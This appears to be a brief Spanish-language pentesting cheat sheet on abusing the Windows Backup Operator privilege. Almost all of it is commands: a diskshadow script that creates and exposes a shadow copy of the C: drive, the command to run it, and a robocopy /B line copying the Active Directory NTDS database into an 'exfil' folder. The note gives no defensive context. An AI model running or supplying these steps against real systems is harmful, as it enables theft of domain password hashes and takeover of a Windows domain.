Backup Operator

Privilegios:

Crear una montura o volumen de backup y acceder a los archivos confidenciales shadow.txt:

set context persistent nowriters 
set metadata c:\exfil\metadata.cab 
add volume c: alias someAlias 
create 
expose %someAlias% z:

ejecutamos el shadow.txt para crear un volumen nuevo

diskshadow.exe /s  c:\diskshadow.txt

luego copiamos archivos confidenciales de algun backup o montura con robocopy:

robocopy /B z:\Windows\NTDS c:\exfil\ntds.dit